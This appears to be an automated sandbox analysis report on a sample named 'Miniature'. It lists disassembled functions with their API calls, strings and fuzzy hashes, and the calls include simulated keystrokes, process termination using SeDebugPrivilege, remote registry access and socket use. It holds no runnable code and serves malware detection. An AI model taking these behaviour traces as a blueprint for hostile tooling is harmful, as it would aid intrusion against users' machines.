Instruction Fuzzy Hash: CC516A71A0020AAFEF60DF24DD45FAA77B5FB48724F204518F94A97290DB75AC80FB90

Function 00FEA226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FEB52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FEB54D
Part of subcall function 00FEB52D: GetCurrentThreadId.KERNEL32 ref: 00FEB554
Part of subcall function 00FEB52D: AttachThreadInput.USER32(00000000,?,00FEA23B,?,00000001), ref: 00FEB55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00FEA246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00FEA263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00FEA266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FEA26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00FEA28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FEA290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FEA299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00FEA2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00FEA2B3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 1949cee7b3e86ab5c4f87deab15b90768f06c9cbc9de448bf7348e8483e05dbf
Instruction ID: 1907b12be1e600df7c6daf61b10417327a2896a4f361174976e8adec3a7a653f
Opcode Fuzzy Hash: 1949cee7b3e86ab5c4f87deab15b90768f06c9cbc9de448bf7348e8483e05dbf
Instruction Fuzzy Hash: 2311C271550218BEF6306F619C49F6A7A2DDB4C750F300415F3806B098CAF75C509BA0

Function 00FE94D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00FE915A,00000B00,?,?), ref: 00FE94E2
HeapAlloc.KERNEL32(00000000,?,00FE915A,00000B00,?,?), ref: 00FE94E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00FE915A,00000B00,?,?), ref: 00FE94FE
GetCurrentProcess.KERNEL32(?,00000000,?,00FE915A,00000B00,?,?), ref: 00FE9506
DuplicateHandle.KERNEL32(00000000,?,00FE915A,00000B00,?,?), ref: 00FE9509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00FE915A,00000B00,?,?), ref: 00FE9519
GetCurrentProcess.KERNEL32(00FE915A,00000000,?,00FE915A,00000B00,?,?), ref: 00FE9521
DuplicateHandle.KERNEL32(00000000,?,00FE915A,00000B00,?,?), ref: 00FE9524
CreateThread.KERNEL32(00000000,00000000,00FE954A,00000000,00000000,00000000), ref: 00FE953E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 907556295e0755dfaf4d641b40afe7146d22c12bdc443061300261f920a0e112
Instruction ID: 21fa856856ed2d4b8320e5cae464da5d8b280fb35417a6d8d3aaac583f2ce867
Opcode Fuzzy Hash: 907556295e0755dfaf4d641b40afe7146d22c12bdc443061300261f920a0e112
Instruction Fuzzy Hash: C401BBB5640344BFE730AFA5DC4EF6B7BACEB89711F604411FA45DB199CA769804CB20

Function 0100A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 0100A28E, 0100A5B2
Not an Object type, xrefs: 0100A265

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: a7cd6a4daf3619453b15925a7b5191da485bf0a12f311c05868b216262b4d9e7
Instruction ID: 5d614f306ff58272c29e54a4f7da8d85c7902a25dbd729913f4f996560ac1e17
Opcode Fuzzy Hash: a7cd6a4daf3619453b15925a7b5191da485bf0a12f311c05868b216262b4d9e7
Instruction Fuzzy Hash: D5C1A171B0031ADFEF11DF98C884AAEB7F5BB48310F148469FA85AB281E7759945CB90

Function 010097FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01009851
VariantInit.OLEAUT32(?), ref: 01009922
VariantInit.OLEAUT32(?), ref: 01009A23
VariantClear.OLEAUT32(?), ref: 01009A2D
VariantClear.OLEAUT32(?), ref: 01009A8A

Strings

Null Object assignment in FOR..IN loop, xrefs: 010098B2, 010099E0, 01009A98
Incorrect Object type in FOR..IN loop, xrefs: 01009A06

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 1cc136fea2a812c7fca78d600fed48c6d8fb1685e5d27ce2f71cf76c2cf1a964
Instruction ID: 3d9f04daad66139b30d98973fb82cb1a7334d0061ddc5b9e86c3e716845b0192
Opcode Fuzzy Hash: 1cc136fea2a812c7fca78d600fed48c6d8fb1685e5d27ce2f71cf76c2cf1a964
Instruction Fuzzy Hash: 0991B470A00219AFEF25CFA9CC44FAEBBB8EF45714F008559F559AB282D7709945CFA0

Function 010173A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 01017449
SendMessageW.USER32(?,00001036,00000000,?), ref: 0101745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 01017477
_wcscat.LIBCMT ref: 010174D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 010174E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 01017517

Strings

SysListView32, xrefs: 0101741B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 3f09112637efa365315e97f3700be7aecc44d716e9707e2de94544e26b057084
Instruction ID: 06b4212c9ff45349d73fdda65d329bfcc99b76d741188bb2c9ea4411d912c8e5
Opcode Fuzzy Hash: 3f09112637efa365315e97f3700be7aecc44d716e9707e2de94544e26b057084
Instruction Fuzzy Hash: C741A471A40348AFEB219F68CC85BEE7BE8EF08350F10446AFAC5A7195D7759984CB50

Function 0100F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00FF4148: CreateToolhelp32Snapshot.KERNEL32 ref: 00FF416D
Part of subcall function 00FF4148: Process32FirstW.KERNEL32(00000000,?), ref: 00FF417B
Part of subcall function 00FF4148: CloseHandle.KERNEL32(00000000), ref: 00FF4245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0100F08D
GetLastError.KERNEL32 ref: 0100F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0100F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 0100F14C
GetLastError.KERNEL32(00000000), ref: 0100F157
CloseHandle.KERNEL32(00000000), ref: 0100F18C

Strings

SeDebugPrivilege, xrefs: 0100F0AB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 6ef61cd7f5566aa2ffd85c72d3284828baf0adbbcc4643873b0fb8eaf01c8e58
Instruction ID: 0a0a4decde7842b505784c43213c1c5e4c54be7643f2b4f9f65a7e1677b135b5
Opcode Fuzzy Hash: 6ef61cd7f5566aa2ffd85c72d3284828baf0adbbcc4643873b0fb8eaf01c8e58
Instruction Fuzzy Hash: B341E4302003019FEB32EF24CC95F6EB7A5AF85714F148049F9824F2C2CB79A805EB95

Function 00FF34DD Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00FF357C

Strings

blank, xrefs: 00FF34FE
stop, xrefs: 00FF354D
question, xrefs: 00FF3535
info, xrefs: 00FF351D
warning, xrefs: 00FF3565

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: a82a71758dcf58f44d76f4a1a15c7ae3e3844117f72f517c2b78aad44ebc542f
Instruction ID: 1bcf322db51d45e8cd9c3908dc86731e5ac63801878eb3a67999975b2a8434ca
Opcode Fuzzy Hash: a82a71758dcf58f44d76f4a1a15c7ae3e3844117f72f517c2b78aad44ebc542f
Instruction Fuzzy Hash: 9311EB72A4834BBEAB105A19DCC2DBA779CDF45370B28006EFB0066151E769AF4466A0

Function 00FF47E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00FF4802
LoadStringW.USER32(00000000), ref: 00FF4809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00FF481F
LoadStringW.USER32(00000000), ref: 00FF4826
_wprintf.LIBCMT ref: 00FF484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00FF486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00FF4847

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: ee7c7ded106f178900bc2316e214a8573681fb7141a877c3ff3e6da4ab973e89
Instruction ID: d7a3192e75b95f218b45027b25ef410ef14e55b87ff0aec166f004dade688efa
Opcode Fuzzy Hash: ee7c7ded106f178900bc2316e214a8573681fb7141a877c3ff3e6da4ab973e89
Instruction Fuzzy Hash: 9A0162F69403087FE7319BA09D89EF7736CEB08300F500595F799E2005EA79AE848B75

Function 0101DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

GetSystemMetrics.USER32(0000000F), ref: 0101DB42
GetSystemMetrics.USER32(0000000F), ref: 0101DB62
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0101DD9D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0101DDBB
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0101DDDC
ShowWindow.USER32(00000003,00000000), ref: 0101DDFB
InvalidateRect.USER32(?,00000000,00000001), ref: 0101DE20
DefDlgProcW.USER32(?,00000005,?,?), ref: 0101DE43

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: eadd2c9f0fa3439dae265dbf24890027c58c58f3c20aaf9080169bee818463aa
Instruction ID: 562766fa87131450d3839b4e449cb0e2fcf7fa84cd06f06c2614a7393ceaf620
Opcode Fuzzy Hash: eadd2c9f0fa3439dae265dbf24890027c58c58f3c20aaf9080169bee818463aa
Instruction Fuzzy Hash: 10B18B31600219EBDF14DFADC5897AE7BF1BF44701F0481A9ED889E289D779A950CB90

Function 01010371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 0101147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101040D,?,?), ref: 01011491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0101044E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 326f9643d725a87e8a8a8c8227e011b7ba65735bb37016baae6ce7e52feab7d7
Instruction ID: c5495a3e391b608863c454dba4277cda0556decff77d6d2c7b6a619f402091d2
Opcode Fuzzy Hash: 326f9643d725a87e8a8a8c8227e011b7ba65735bb37016baae6ce7e52feab7d7
Instruction Fuzzy Hash: EAA159702042019FDB21EF64C880F6EBBE5BF88314F14891DF5D69B296DB39E985DB42

Function 00F92E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FCC508,00000004,00000000,00000000,00000000), ref: 00F92E9F
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00FCC508,00000004,00000000,00000000,00000000,000000FF), ref: 00F92EE7
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00FCC508,00000004,00000000,00000000,00000000), ref: 00FCC55B
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00FCC508,00000004,00000000,00000000,00000000), ref: 00FCC5C7

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 5b0bf5e8885c76693e8e4188922d5eda0254ad263756f2ec23b19461e62a5fe2
Instruction ID: 437ecf22e63f577053c11547e7ae4ec89762f4faf382ecdee2e4f64e92e2e08f
Opcode Fuzzy Hash: 5b0bf5e8885c76693e8e4188922d5eda0254ad263756f2ec23b19461e62a5fe2
Instruction Fuzzy Hash: 58412935E04781BAEFB5AB29C9C8B7E7B92BB85320F68481DF48B43554C775A840F750

Function 00FF7681 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00FF7698

Part of subcall function 00FB0FE6: std::exception::exception.LIBCMT ref: 00FB101C
Part of subcall function 00FB0FE6: __CxxThrowException@8.LIBCMT ref: 00FB1031

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00FF76CF
EnterCriticalSection.KERNEL32(?), ref: 00FF76EB
_memmove.LIBCMT ref: 00FF7739
_memmove.LIBCMT ref: 00FF7756
LeaveCriticalSection.KERNEL32(?), ref: 00FF7765
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00FF777A
InterlockedExchange.KERNEL32(?,000001F6), ref: 00FF7799

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: a0f3fa68a9caca0d4f71497e1b152e6a1aab9c6ae2cab2a9fab1005032971105
Instruction ID: c559964bce83e4553475317216b3c5cc5c3c5440cc659472b2100d9225019277
Opcode Fuzzy Hash: a0f3fa68a9caca0d4f71497e1b152e6a1aab9c6ae2cab2a9fab1005032971105
Instruction Fuzzy Hash: 4731A332904209EFCB20EF55DC85EAFB778FF45310B2440A5F904AB24ADB359E14DB60

Function 010167F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 01016810
GetDC.USER32(00000000), ref: 01016818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 01016823
ReleaseDC.USER32(00000000,00000000), ref: 0101682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 0101686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0101687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0101964F,?,?,000000FF,00000000,?,000000FF,?), ref: 010168B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 010168D6

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: f3ed97ea25959f6453266589a04eef9ffcf55041df3e88b8ccfb22e2b2ad257f
Instruction ID: abbabc1ae39295b4bd548d9359bb2cdc684c642cf1fb605b3c0065b8ebb76266
Opcode Fuzzy Hash: f3ed97ea25959f6453266589a04eef9ffcf55041df3e88b8ccfb22e2b2ad257f
Instruction Fuzzy Hash: 25316D721012147FEB218F54CC89FEA3FA9EB49761F144155FE889A289C6BA9841CB74

Function 00FEC748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00FEC75D
_memcmp.LIBCMT ref: 00FEC77F
_memcmp.LIBCMT ref: 00FEC797
_memcmp.LIBCMT ref: 00FEC7AA
_memcmp.LIBCMT ref: 00FEC7C4
_memcmp.LIBCMT ref: 00FEC7D7
_memcmp.LIBCMT ref: 00FEC7EF
_memcmp.LIBCMT ref: 00FEC80A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: fba0af77d38d4d3c6249bc6cc39fc147e363e81774f72fc9739fe134ce592303
Instruction ID: f50eed7d652a476ebfd09c5edc118d9ab969587649f17b8a966a8f675916f361
Opcode Fuzzy Hash: fba0af77d38d4d3c6249bc6cc39fc147e363e81774f72fc9739fe134ce592303
Instruction Fuzzy Hash: 2B210777A012197A961475138E43FEB376EBE24754B080024FD069B302E718DE13AAE1

Function 00FFF166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

Part of subcall function 00FA436A: _wcscpy.LIBCMT ref: 00FA438D

_wcstok.LIBCMT ref: 00FFF2D7
_wcscpy.LIBCMT ref: 00FFF366
_memset.LIBCMT ref: 00FFF399

Strings

X, xrefs: 00FFF3D6

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: ce18ab8bb98d95067df9cf79621a7ee603b3dd8ecbd3a48575c711f97aea664e
Instruction ID: 6463eb60d84cf9646d53dfce84a0111483715f781891656265d75508f16ec869
Opcode Fuzzy Hash: ce18ab8bb98d95067df9cf79621a7ee603b3dd8ecbd3a48575c711f97aea664e
Instruction Fuzzy Hash: A0C1BF716083459FD724EF24C881A6FB7E4BF85350F04492DF99A872A1DB34EC09EB82

Function 010071EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 010072EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0100730C
WSAGetLastError.WSOCK32(00000000), ref: 0100731F
htons.WSOCK32(?,?,?,00000000,?), ref: 010073D5
inet_ntoa.WSOCK32(?), ref: 01007392

Part of subcall function 00FEB4EA: _strlen.LIBCMT ref: 00FEB4F4
Part of subcall function 00FEB4EA: _memmove.LIBCMT ref: 00FEB516

_strlen.LIBCMT ref: 0100742F
_memmove.LIBCMT ref: 01007498

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

